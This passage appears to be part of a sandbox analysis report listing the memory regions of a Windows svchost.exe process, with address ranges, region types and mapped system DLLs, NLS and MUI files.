"\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 866 start_va = 0xd20000 end_va = 0xd2cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 867 start_va = 0xd30000 end_va = 0xd36fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 868 start_va = 0xdc0000 end_va = 0xdc8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 869 start_va = 0xdd0000 end_va = 0xdd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 870 start_va = 0xde0000 end_va = 0xde1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 871 start_va = 0xdf0000 end_va = 0xdf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 872 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 873 start_va = 0xf00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 874 start_va = 0x1000000 end_va = 0x1336fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 875 start_va = 0x1340000 end_va = 0x13bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 876 start_va = 0x13c0000 end_va = 0x13d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 877 start_va = 0x13e0000 end_va = 0x13f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 878 start_va = 0x1410000 end_va = 0x1416fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 879 start_va = 0x1420000 end_va = 0x1430fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 880 start_va = 0x1440000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 881 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 882 start_va = 0x15c0000 end_va = 0x15c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015c0000" filename = "" Region: id = 883 start_va = 0x15d0000 end_va = 0x15e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 884 start_va = 0x1600000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 885 start_va = 0x1700000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 886 start_va = 0x1800000 end_va = 0x18dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 887 start_va = 0x18e0000 end_va = 0x18f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 888 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 889 start_va = 0x1a00000 end_va = 0x1a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 890 start_va = 0x1a80000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 891 start_va = 0x1b80000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 892 start_va = 0x1c80000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 893 start_va = 0x1d00000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 894 start_va = 0x1d80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 895 start_va = 0x1e80000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 896 start_va = 0x1f00000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 897 start_va = 0x1f80000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 898 start_va = 0x2080000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 899 start_va = 0x2180000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 900 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 901 start_va = 0x2380000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 902 start_va = 0x2480000 end_va = 0x2490fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 903 start_va = 0x24a0000 end_va = 0x24b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 904 start_va = 0x24c0000 end_va = 0x24e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 905 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 906 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 907 start_va = 0x2730000 end_va = 0x27affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 908 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 909 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 910 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 911 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 912 start_va = 0x2c00000 end_va = 0x2c8dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 913 start_va = 0x2c90000 end_va = 0x2cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 914 start_va = 0x2cd0000 end_va = 0x2ce0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 915 start_va = 0x2cf0000 end_va = 0x2d00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 916 start_va = 0x2d10000 end_va = 0x2e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 917 start_va = 0x2e10000 end_va = 0x2f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 918 start_va = 0x2f10000 end_va = 0x2f40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 919 start_va = 0x2f50000 end_va = 0x2f80fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 920 start_va = 0x2fa0000 end_va = 0x2fa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fa0000" filename = "" Region: id = 921 start_va = 0x2fb0000 end_va = 0x30affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 922 start_va = 0x3190000 end_va = 0x328ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 923 start_va = 0x3290000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 924 start_va = 0x3390000 end_va = 0x3396fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003390000" filename = "" Region: id = 925 start_va = 0x33a0000 end_va = 0x349ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000033a0000" filename = "" Region: id = 926 start_va = 0x3570000 end_va = 0x35effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003570000" filename = "" Region: id = 927 start_va = 0x3600000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 928 start_va = 0x3870000 end_va = 0x38effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 929 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 930 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 931 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 932 start_va = 0x3c00000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 933 start_va = 0x3e00000 end_va = 0x3e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 934 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 935 start_va = 0x4000000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 936 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 937 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 938 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 939 start_va = 0x4400000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 940 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 941 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 942 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 943 start_va = 0x4800000 end_va = 0x48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 944 start_va = 0x4900000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 945 start_va = 0x4be0000 end_va = 0x4be6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004be0000" filename = "" Region: id = 946 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 947 start_va = 0x4d00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 948 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 949 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 950 start_va = 0x5100000 end_va = 0x51fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 951 start_va = 0x5200000 end_va = 0x52fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 952 start_va = 0x5300000 end_va = 0x53fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005300000" filename = "" Region: id = 953 start_va = 0x5400000 end_va = 0x54fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005400000" filename = "" Region: id = 954 start_va = 0x5800000 end_va = 0x58fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 955 start_va = 0x5900000 end_va = 0x59fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 956 start_va = 0x5b00000 end_va = 0x5bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b00000" filename = "" Region: id = 957 start_va = 0x5c00000 end_va = 0x5cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 958 start_va = 0x5d00000 end_va = 0x5dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 959 start_va = 0x5e00000 end_va = 0x5efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 960 start_va = 0x5f00000 end_va = 0x5ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f00000" filename = "" Region: id = 961 start_va = 0x6000000 end_va = 0x60fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 962 start_va = 0x6100000 end_va = 0x61fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006100000" filename = "" Region: id = 963 start_va = 0x6200000 end_va = 0x62fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006200000" filename = "" Region: id = 964 start_va = 0x6300000 end_va = 0x63fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 965 start_va = 0x6400000 end_va = 0x64fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006400000" filename = "" Region: id = 966 start_va = 0x6500000 end_va = 0x65fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006500000" filename = "" Region: id = 967 start_va = 0x6600000 end_va = 0x66fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006600000" filename = "" Region: id = 968 start_va = 0x6700000 end_va = 0x67fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 969 start_va = 0x6800000 end_va = 0x68fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006800000" filename = "" Region: id = 970 start_va = 0x6900000 end_va = 0x69fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006900000" filename = "" Region: id = 971 start_va = 0x6a00000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 972 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 973 start_va = 0x6c00000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 974 start_va = 0x6e00000 end_va = 0x6efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 975 start_va = 0x6f00000 end_va = 0x6ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 976 start_va = 0x7100000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 977 start_va = 0x7400000 end_va = 0x74fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007400000" filename = "" Region: id = 978 start_va = 0x7600000 end_va = 0x76fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007600000" filename = "" Region: id = 979 start_va = 0x7800000 end_va = 0x78fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007800000" filename = "" Region: id = 980 start_va = 0x7f00000 end_va = 0x7ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f00000" filename = "" Region: id = 981 start_va = 0x8600000 end_va = 0x86fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008600000" filename = "" Region: id = 982 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 983 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 984 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 985 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 986 start_va = 0x7ff681250000 end_va = 0x7ff68125cfff monitored = 0 entry_point = 0x7ff681253980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 987 start_va = 0x7ff9fc0f0000 end_va = 0x7ff9fc39ffff monitored = 0 entry_point = 0x7ff9fc0f1cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 988 start_va = 0x7ff9fc3a0000 end_va = 0x7ff9fc474fff monitored = 0 entry_point = 0x7ff9fc3bcf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 989 start_va = 0x7ff9fc4d0000 end_va = 0x7ff9fc513fff monitored = 0 entry_point = 0x7ff9fc4f83e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 990 start_va = 0x7ff9fdcb0000 end_va = 0x7ff9fdce5fff monitored = 0 entry_point = 0x7ff9fdcb27f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 991 start_va = 0x7ff9fdd10000 end_va = 0x7ff9fdd31fff monitored = 0 entry_point = 0x7ff9fdd22540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 992 start_va = 0x7ff9fdd60000 end_va = 0x7ff9fdd67fff monitored = 0 entry_point = 0x7ff9fdd613b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 993 start_va = 0x7ff9fe1c0000 end_va = 0x7ff9fe1d1fff monitored = 0 entry_point = 0x7ff9fe1c1a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 994 start_va = 0x7ff9fe1e0000 end_va = 0x7ff9fe21efff monitored = 0 entry_point = 0x7ff9fe2082d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 995 start_va = 0x7ff9fe260000 end_va = 0x7ff9fe277fff monitored = 0 entry_point = 0x7ff9fe26b850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 996 start_va = 0x7ff9fe280000 end_va = 0x7ff9fe2dcfff monitored = 0 entry_point = 0x7ff9fe2ae510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 997 start_va = 0x7ff9fe320000 end_va = 0x7ff9fe336fff monitored = 0 entry_point = 0x7ff9fe327520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 998 start_va = 0x7ff9ff4c0000 end_va = 0x7ff9ff4d0fff monitored = 0 entry_point = 0x7ff9ff4c28d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 999 start_va = 0x7ff9ff4e0000 end_va = 0x7ff9ff511fff monitored = 0 entry_point = 0x7ff9ff4eb0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 1000 start_va = 0x7ff9ffbc0000 end_va = 0x7ff9ffc26fff monitored = 0 entry_point = 0x7ff9ffbcb160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1001 start_va = 0x7ff9ffc30000 end_va = 0x7ff9ffcaffff monitored = 0 entry_point = 0x7ff9ffc5d280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1002 start_va = 0x7ff9ffd90000 end_va = 0x7ff9ffe9efff monitored = 0 entry_point = 0x7ff9ffdcc010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 1003 start_va = 0x7ffa013c0000 end_va = 0x7ffa013d7fff monitored = 0 entry_point = 0x7ffa013c1b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 1004 start_va = 0x7ffa01690000 end_va = 0x7ffa016a3fff monitored = 0 entry_point = 0x7ffa01693710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 1005 start_va = 0x7ffa01740000 end_va = 0x7ffa0175dfff monitored = 0 entry_point = 0x7ffa0174ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 1006 start_va = 0x7ffa04070000 end_va = 0x7ffa04083fff monitored = 0 entry_point = 0x7ffa04072a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1007 start_va = 0x7ffa069a0000 end_va = 0x7ffa069b5fff monitored = 0 entry_point = 0x7ffa069a1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 1008 start_va = 0x7ffa07a20000 end_va = 0x7ffa07a30fff monitored = 0 entry_point = 0x7ffa07a27480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 1009 start_va = 0x7ffa07a40000 end_va = 0x7ffa07ac3fff monitored = 0 entry_point = 0x7ffa07a58d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1010 start_va = 0x7ffa07ad0000 end_va = 0x7ffa07ae5fff monitored = 0 entry_point = 0x7ffa07ad55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1011 start_va = 0x7ffa07af0000 end_va = 0x7ffa07bc5fff monitored = 0 entry_point = 0x7ffa07b1a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1012 start_va = 0x7ffa07c20000 end_va = 0x7ffa07c83fff monitored = 0 entry_point = 0x7ffa07c3bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1013 start_va = 0x7ffa07c90000 end_va = 0x7ffa07cb4fff monitored = 0 entry_point = 0x7ffa07c99900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1014 start_va = 0x7ffa07cc0000 end_va = 0x7ffa07cd3fff monitored = 0 entry_point = 0x7ffa07cc1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1015 start_va = 0x7ffa07ce0000 end_va = 0x7ffa07dd5fff monitored = 0 entry_point = 0x7ffa07d19590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1016 start_va = 0x7ffa07de0000 end_va = 0x7ffa07e53fff monitored = 0 entry_point = 0x7ffa07df5eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1017 start_va = 0x7ffa07e60000 end_va = 0x7ffa07f96fff monitored = 0 entry_point = 0x7ffa07ea0480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1018 start_va = 0x7ffa08390000 end_va = 0x7ffa083a0fff monitored = 0 entry_point = 0x7ffa08392fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1019 start_va = 0x7ffa083b0000 end_va = 0x7ffa083cdfff monitored = 0 entry_point = 0x7ffa083b3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1020 start_va = 0x7ffa083d0000 end_va = 0x7ffa08451fff monitored = 0 entry_point = 0x7ffa083d2a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: 